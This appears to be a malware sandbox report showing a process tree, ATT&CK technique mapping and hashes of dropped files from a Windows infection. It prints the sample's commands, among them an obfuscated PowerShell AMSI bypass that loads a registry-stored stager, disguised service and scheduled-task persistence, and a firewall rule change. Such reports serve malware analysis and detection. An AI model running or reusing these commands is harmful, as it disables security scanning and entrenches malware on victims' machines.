- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2400

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQA1AA==
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1800

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
2⤵
PID:4912

C:\Users\Admin\AppData\Local\Temp\DCBA.exe
C:\Users\Admin\AppData\Local\Temp\DCBA.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4976

C:\Users\Admin\AppData\Local\Temp\EDD3.exe
C:\Users\Admin\AppData\Local\Temp\EDD3.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4136

C:\Users\Admin\AppData\Local\Temp\EDD3.exe
C:\Users\Admin\AppData\Local\Temp\EDD3.exe
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1516

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\38e48068-da15-4e6b-a4f4-903c5d22f66d" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:3460

C:\Users\Admin\AppData\Local\Temp\EDD3.exe
"C:\Users\Admin\AppData\Local\Temp\EDD3.exe" --Admin IsNotAutoStart IsNotTask
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4408

C:\Users\Admin\AppData\Local\Temp\EDD3.exe
"C:\Users\Admin\AppData\Local\Temp\EDD3.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1388

C:\Users\Admin\AppData\Local\bc86be6b-605a-4e6b-9655-a38efab31029\build2.exe
"C:\Users\Admin\AppData\Local\bc86be6b-605a-4e6b-9655-a38efab31029\build2.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4692

C:\Users\Admin\AppData\Local\bc86be6b-605a-4e6b-9655-a38efab31029\build2.exe
"C:\Users\Admin\AppData\Local\bc86be6b-605a-4e6b-9655-a38efab31029\build2.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4572

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" 8\° Úu/c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\bc86be6b-605a-4e6b-9655-a38efab31029\build2.exe" & del C:\PrograData\*.dll & exit
7⤵
PID:3576

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build2.exe /f
8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:96

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:2984

C:\Users\Admin\AppData\Local\bc86be6b-605a-4e6b-9655-a38efab31029\build3.exe
"C:\Users\Admin\AppData\Local\bc86be6b-605a-4e6b-9655-a38efab31029\build3.exe"
5⤵
- Executes dropped EXE
PID:2636

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
6⤵
- Creates scheduled task(s)
PID:4592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1388 -s 1380
5⤵
- Program crash
PID:12672

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:4632

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4932

C:\Users\Admin\AppData\Local\Temp\9C73.exe
C:\Users\Admin\AppData\Local\Temp\9C73.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:504

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:96956

C:\Users\Admin\AppData\Local\Temp\A1A4.exe
C:\Users\Admin\AppData\Local\Temp\A1A4.exe
1⤵
- Executes dropped EXE
PID:47476

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pmngwteh\
2⤵
PID:4984

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hmjbunjy.exe" C:\Windows\SysWOW64\pmngwteh\
2⤵
PID:2244

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create pmngwteh binPath= "C:\Windows\SysWOW64\pmngwteh\hmjbunjy.exe /d\"C:\Users\Admin\AppData\Local\Temp\A1A4.exe\"" type= own start= auto DisplayName= "wifi support"
2⤵
- Launches sc.exe
PID:2304

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description pmngwteh "wifi internet conection"
2⤵
- Launches sc.exe
PID:1448

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start pmngwteh
2⤵
- Launches sc.exe
PID:3368

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
2⤵
- Modifies Windows Firewall
PID:1968

C:\Users\Admin\AppData\Local\Temp\A9C3.exe
C:\Users\Admin\AppData\Local\Temp\A9C3.exe
1⤵
- Executes dropped EXE
PID:97068

C:\Users\Admin\AppData\Local\Temp\BD3C.exe
C:\Users\Admin\AppData\Local\Temp\BD3C.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2804

C:\Users\Admin\AppData\Local\Temp\syst.exe
"C:\Users\Admin\AppData\Local\Temp\syst.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:9084

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /create /TN "$77host" /XML "C:\Windows\SysWOW64\$77Host.xml" /f
3⤵
PID:10256

C:\Windows\system32\schtasks.exe
schtasks /create /TN "$77host" /XML "C:\Windows\SysWOW64\$77Host.xml" /f
4⤵
- Creates scheduled task(s)
PID:10272

C:\Windows\SysWOW64\$77Install.exe
"C:\Windows\SysWOW64\$77Install.exe"
3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:10296

C:\Users\Admin\AppData\Local\Temp\C1D1.exe
C:\Users\Admin\AppData\Local\Temp\C1D1.exe
1⤵
- Executes dropped EXE
PID:3048

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgA4AA==
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:6960

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 768
2⤵
- Program crash
PID:12708

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4004

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2332

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:4256

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
2⤵
- Creates scheduled task(s)
PID:9444

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4812

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5156 -s 772
2⤵
- Program crash
PID:12768

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5312

C:\Windows\SysWOW64\pmngwteh\hmjbunjy.exe
C:\Windows\SysWOW64\pmngwteh\hmjbunjy.exe /d"C:\Users\Admin\AppData\Local\Temp\A1A4.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5384

C:\Windows\SysWOW64\svchost.exe
svchost.exe
2⤵
- Sets service image path in registry
PID:7624

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5516

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:5712

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5920

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:RCSLQHXUnPmu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HurITaFGireCiy,[Parameter(Position=1)][Type]$egwmUzcKdF)$VshdXyBIpTA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$VshdXyBIpTA.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$HurITaFGireCiy).SetImplementationFlags('Runtime,Managed');$VshdXyBIpTA.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$egwmUzcKdF,$HurITaFGireCiy).SetImplementationFlags('Runtime,Managed');Write-Output $VshdXyBIpTA.CreateType();}$ytLUeYzoPqMJe=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$hfjvbAGLBLSxLW=$ytLUeYzoPqMJe.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CBKpgtCAQdgXCPBVpRG=RCSLQHXUnPmu @([String])([IntPtr]);$dYmVOliOIxmiDqjFRUtKFU=RCSLQHXUnPmu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hhtoAhnrGAx=$ytLUeYzoPqMJe.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$GklioYGxvjqEBR=$hfjvbAGLBLSxLW.Invoke($Null,@([Object]$hhtoAhnrGAx,[Object]('Load'+'LibraryA')));$CUMWFctVzFdxTUMHs=$hfjvbAGLBLSxLW.Invoke($Null,@([Object]$hhtoAhnrGAx,[Object]('Vir'+'tual'+'Pro'+'tect')));$RHeVbRo=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GklioYGxvjqEBR,$CBKpgtCAQdgXCPBVpRG).Invoke('a'+'m'+'si.dll');$aFvDEXAMemNgtFgZB=$hfjvbAGLBLSxLW.Invoke($Null,@([Object]$RHeVbRo,[Object]('Ams'+'iSc'+'an'+'Buffer')));$RIIRGljGdH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CUMWFctVzFdxTUMHs,$dYmVOliOIxmiDqjFRUtKFU).Invoke($aFvDEXAMemNgtFgZB,[uint32]8,4,[ref]$RIIRGljGdH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$aFvDEXAMemNgtFgZB,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CUMWFctVzFdxTUMHs,$dYmVOliOIxmiDqjFRUtKFU).Invoke($aFvDEXAMemNgtFgZB,[uint32]8,0x20,[ref]$RIIRGljGdH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Modifies data under HKEY_USERS
PID:10584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:itFFlLXnkQwm{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$iGShzFSJcCBWKE,[Parameter(Position=1)][Type]$hdBJryoqQW)$ZzEVumBuxyc=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$ZzEVumBuxyc.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$iGShzFSJcCBWKE).SetImplementationFlags('Runtime,Managed');$ZzEVumBuxyc.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$hdBJryoqQW,$iGShzFSJcCBWKE).SetImplementationFlags('Runtime,Managed');Write-Output $ZzEVumBuxyc.CreateType();}$qhnhkNIuXKcSo=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$aQbdOXvQPWTAbA=$qhnhkNIuXKcSo.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EmUStPJKGDUaxUoDYxY=itFFlLXnkQwm @([String])([IntPtr]);$jTCEQWXSFyrAJJNUVJpoJl=itFFlLXnkQwm @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$miCahEWyUPT=$qhnhkNIuXKcSo.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$SkeVJHyVqROkLD=$aQbdOXvQPWTAbA.Invoke($Null,@([Object]$miCahEWyUPT,[Object]('Load'+'LibraryA')));$SJfHGwEutiGlsnhDW=$aQbdOXvQPWTAbA.Invoke($Null,@([Object]$miCahEWyUPT,[Object]('Vir'+'tual'+'Pro'+'tect')));$UnxoHNU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SkeVJHyVqROkLD,$EmUStPJKGDUaxUoDYxY).Invoke('a'+'m'+'si.dll');$VlGEoWrWkgdTWAnRr=$aQbdOXvQPWTAbA.Invoke($Null,@([Object]$UnxoHNU,[Object]('Ams'+'iSc'+'an'+'Buffer')));$IjOOhAcPhH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SJfHGwEutiGlsnhDW,$jTCEQWXSFyrAJJNUVJpoJl).Invoke($VlGEoWrWkgdTWAnRr,[uint32]8,4,[ref]$IjOOhAcPhH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VlGEoWrWkgdTWAnRr,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SJfHGwEutiGlsnhDW,$jTCEQWXSFyrAJJNUVJpoJl).Invoke($VlGEoWrWkgdTWAnRr,[uint32]8,0x20,[ref]$IjOOhAcPhH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Modifies data under HKEY_USERS
PID:10592

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{e282ecb0-1c78-4444-a99d-ee1e2db039a2}
1⤵
PID:11120

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3916 -s 792
1⤵
- Program crash
PID:12028

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3692 -s 916
1⤵
- Program crash
PID:12012

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{bd423041-e2cf-4eae-b92b-9c9121cd4e81}
1⤵
PID:12292

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

New Service

T1050

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

New Service

T1050

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

File Permissions Modification

T1222

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA2C3.tmp.csv
Filesize
36KB

MD5
3f612c86575743b922fbcc35a1b97b98

SHA1
41bc3140c720d791a2af367422ecd770a972ee95

SHA256
025c755bcf317d953ba6007601678ea6f703ff90a7ad25a2737924cfba015081

SHA512
b2406a51733103791d4c036a7f54d0bb0864debeac60b37e78e030bc7c94e9ba0834a4433b0b971c7fab64d20a474cad43c659789329115e037f7e61b76fabf1

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERA302.tmp.txt
Filesize
12KB

MD5
4c7ec1bdbc4703cc1f4087856f62bbdb

SHA1
66d8e62926694ab537838ee48f659334e6358c2d

SHA256
d1a97b12f3bd4f9b5f33ce1f7f25a255ba4afd87e6da1f1af12dd3ad6e56ccb7

SHA512
46d0fcaf1aab5840a0b9dc225e58d36b45ac17acb94a79b41cee09b0516511496b9f88fa1827f63f87ea0468bf31feeff9b2aa2ee0da0f450d58e3a22635679f

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERA4F7.tmp.csv
Filesize
35KB

MD5
2cadc4cbb5b96d18931dc625686e6cd6

SHA1
4316dcb744d638e9b6196347c526000f17fbd06d

SHA256
879c6b8e90286be7e7c961271fe34668b22bbdfb383568be0d653982c431f03d

SHA512
ab9d90161f6362cd814704b3250c1b847550655872b9995abe3449cf922aeff9c6b18351406cb2a725456e31e219d30097982ee3660767ccfa6b934b72adce96

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERA556.tmp.txt
Filesize
12KB

MD5
f7b0e220477bac439ad4eb676f9874a2

SHA1
082e43af11653b8a474ef8dcd2342749b565a4ba

SHA256
348372acf82b3d7e44116ea4c4701c6bd1ad3bd03ed38d8d7dad73a2bd6b7df8

SHA512
3c0db1e57b207be3facca9222900c0b48b4904aa5cfd3f091badb64e66f585f7e12ca4f968ee5e2318d5659bad8e90d67a3728f7599f5bf04fc9406b0ad74c5d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
Filesize
2KB

MD5
32958182234a80a5b2589418864f6117

SHA1
598276140fd27d8931dbe02625e3378ad9085b8d

SHA256
a6f4c0928ecef1052acb557bf148d4d06206afaa0d334d30ef676d8b4b89fdb2

SHA512
04157e1f291fb8e11e8134fa321d6473ff7ed55c7848170ac9c6db4dd9e42d8303c40746ce56f4112f26c5ea730703ad00fa52fdf57377c81221473210e49dfa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
Filesize
1KB

MD5
0d870ca424457579d4bd345ac1ec6c3c

SHA1
fc3d8924e13b4fc5eca7cabd4967eea3d4db1690

SHA256
cf9df8d62ec78ca20a50633047af6c913dc2d10f15823795e8d86042c7b05ed0

SHA512
a1e731ae03b1a2259f8e1afc86058aabb3b8ce3b0141f08ea18b6c7003c55aeb135d40bba38ebf1f76174eb1ad758fbec10841dee1ed704fb0285e36b2f7d66b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
Filesize
488B

MD5
0244c11a8aeb60ddbebc14f69198e99b

SHA1
e55ceb5a7ee2d4ff2bd1ac1140bae7bc99c934e0

SHA256
e1078d5c6a70cb172f4ebe34653a67b1652928975f8a0de3852d375a5c00e44e

SHA512
147a71d8c5e282c1f1ed16c17994d5e3e144627e411d0daac93df098ede47dfb27e41f78b39892e1446559f14977210d3936e99d912742125d1ab2995245b192

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
Filesize
482B

MD5
16d3055ebc05ff67218f90af3c95eb81

SHA1
3080eb070231cef23b0dda6d446e669e65508369

SHA256
eaef83347f4cdc90781cfb19301cade6a03625237eabc80456990da51b396ddc

SHA512
d85d38dab8bb94ae390553f06ecf8ee4ef287f1115f07a42af1df17f9bbf556a801ebcfaec5304727fdd1ac964da4ed4badc0de35335687e95d274f95863e012

Download Submit
C:\Users\Admin\AppData\Local\38e48068-da15-4e6b-a4f4-903c5d22f66d\EDD3.exe
Filesize
801KB

MD5
32db669d0bcf9714b344df2c5eb1c0db

SHA1
109a87ae86cb9d890d8a40f0a6c3500168fafc0c

SHA256
981da46c6d2b7743d2234e5f5e03071870466d776ef7461e6983072967bcd2eb

SHA512
85b01e3039f704638226358cde2f07ba02f1b2f5b6483d70d321f6800829af966ce947ea08af93ddc6c4078fab3b5d602cdba8ddcbdce536bbb3c4eb4c24157b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
b42b8394f52b01b93879625688c3d79d

SHA1
3ed5877ab13e7655482c19e8b7511f8b2bfcdbb3

SHA256
b7b0a0ab5e777b74a8d7ec285804091eb3a4c71fcc2c57cddfa8541d05409cdd

SHA512
86357e54c29ee9c107b5655d457121f35117565fae4fdd018e56079eb7ca012e4afe0a5d5562bc2996b932b02450ad0fbb7f27047315b524138a0fe08c4f79c2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
45KB

MD5
5f640bd48e2547b4c1a7421f080f815f

SHA1
a8f4a743f5b7da5cba7b8e6fb1d7ad4d67fefc6a

SHA256
916c83c7c8d059aea295523b8b3f24e1e2436df894f7fae26c47c9bad04baa9c

SHA512
a6ac100a351946b1bbb40c98aeda6e16e12f90f81063aff08c16d4d9afec8ed65c2cbcf25b42946627d67653f75740b1137dab625c99e9492ba35aba68b79a8e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
16KB

MD5
570b4c4611bd02b4015be9a9d8c2fad9

SHA1
9e4f4c07b310d758940cbd19e87c55d3ad5127cb

SHA256
f9930eb8cf61313d12e2c90d25c187ecf8a2353ee2e79580c8dbc73354a1b330

SHA512
e7fd58c7050b9073d6ae98b85406774cb48cddab9ecac6d18fbfc0514351f72d86c6c4c7bcd3fadba150600b3bc6b9da37dfbb95b94484ca92383b078d854213

Download Submit
C:\Users\Admin\AppData\Local\Temp\9C73.exe
Filesize
2.6MB

MD5
d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

SHA1
ed7413773b7c9154c9aeed9d173f61577522e0db

SHA256
576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

SHA512
858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

Download Submit
C:\Users\Admin\AppData\Local\Temp\9C73.exe
Filesize
2.6MB

MD5
d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

SHA1
ed7413773b7c9154c9aeed9d173f61577522e0db

SHA256
576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

SHA512
858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

Download Submit
C:\Users\Admin\AppData\Local\Temp\A1A4.exe
Filesize
279KB

MD5
f739f4bb7f0fdd314256b174fcc226fb

SHA1
3e2e9f665cf09b97822da1f3d62381f1f9e43aba

SHA256
5d47734c31a4251ff84cad49ec7b7d594b3bfb136b4a6a4914c38ebcffc7b073

SHA512
91b97724664a5240c82b83c4bb65c243eb976acbee47a4362a38e62a397f7e12f8354b4b21aeaac6bf9d3fd7d0184ec2bd93c6e1f12f91b37115edc4cb0a1e41

Download Submit
C:\Users\Admin\AppData\Local\Temp\A1A4.exe
Filesize
279KB

MD5
f739f4bb7f0fdd314256b174fcc226fb

SHA1
3e2e9f665cf09b97822da1f3d62381f1f9e43aba

SHA256
5d47734c31a4251ff84cad49ec7b7d594b3bfb136b4a6a4914c38ebcffc7b073

SHA512
91b97724664a5240c82b83c4bb65c243eb976acbee47a4362a38e62a397f7e12f8354b4b21aeaac6bf9d3fd7d0184ec2bd93c6e1f12f91b37115edc4cb0a1e41

Download Submit
C:\Users\Admin\AppData\Local\Temp\A9C3.exe
Filesize
395KB

MD5
a864c7dcd49506486eb4a15632a34c03

SHA1
6f247530bd632cb53cdc0b7a8c466e2144c16d84

SHA256
dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

SHA512
71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

Download Submit
C:\Users\Admin\AppData\Local\Temp\A9C3.exe
Filesize
395KB

MD5
a864c7dcd49506486eb4a15632a34c03

SHA1
6f247530bd632cb53cdc0b7a8c466e2144c16d84

SHA256
dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

SHA512
71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

Download Submit
C:\Users\Admin\AppData\Local\Temp\BD3C.exe
Filesize
381KB

MD5
f822288a43681e1a0d1fc6eca74c929c

SHA1
57d7b1830e03f4e9f3ad66ce1ae232789fa14fde

SHA256
6e3e2d9edb72aff201a38d229b2c3bab530e7486c0902021a2626ba6201941c1

SHA512
636b6e9781468a0fd2447534de56697cab8ba054d3c943511fd2efeccc6966f0f6f0c0b4c01ed3ce82657bcb4cf1ede182f61385268b08c837cc766e5128e2aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\BD3C.exe
Filesize
381KB

MD5
f822288a43681e1a0d1fc6eca74c929c

SHA1
57d7b1830e03f4e9f3ad66ce1ae232789fa14fde

SHA256
6e3e2d9edb72aff201a38d229b2c3bab530e7486c0902021a2626ba6201941c1

SHA512
636b6e9781468a0fd2447534de56697cab8ba054d3c943511fd2efeccc6966f0f6f0c0b4c01ed3ce82657bcb4cf1ede182f61385268b08c837cc766e5128e2aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\C1D1.exe
Filesize
1.1MB

MD5
ff97413fadad115998666fd129ccb86d

SHA1
152ca9dd31bf0c84f435154727186c8dca441f00

SHA256
6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

SHA512
2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

Download Submit
C:\Users\Admin\AppData\Local\Temp\C1D1.exe
Filesize
1.1MB

MD5
ff97413fadad115998666fd129ccb86d

SHA1
152ca9dd31bf0c84f435154727186c8dca441f00

SHA256
6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

SHA512
2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

Download Submit
C:\Users\Admin\AppData\Local\Temp\D99C.dll
Filesize
1.4MB

MD5
3ee96204441d27dcc2de050ede40c2a3

SHA1
3b2d387ca9663b7b1abf4531f85545c9df0cb076

SHA256
4061b94fcb0ddf184beead8d29d4d5b135e4d813b3b6ba237b1ddcc5e62c8cda

SHA512
133688d048d6dc96e8df8d792e46c247da24879fb07467fcd5a35b9631083816fc90aa9a4d74a5e63d1d85901e75973d827e41a32b9eb34596a2532a27384e39

Download Submit
C:\Users\Admin\AppData\Local\Temp\DCBA.exe
Filesize
280KB

MD5
1d512d993cd27ebccc0857bcf56d71a8

SHA1
8aa50624fbc619c694aa533ef69533d8d92801e5

SHA256
c8883f54905378290695087786808d2b9badf90356eba811bb3ed69ac03feb9f

SHA512
33a0eca1c0b61e5512add899219ef1aac2e06db633969a411a3b39acadea886e9f28f643a888b1c7cfe393c47c51782fb67a5ac2613d38f2d22c94d83d4e1e4c

Download Submit
C:\Users\Admin\AppData\Local\Temp\DCBA.exe
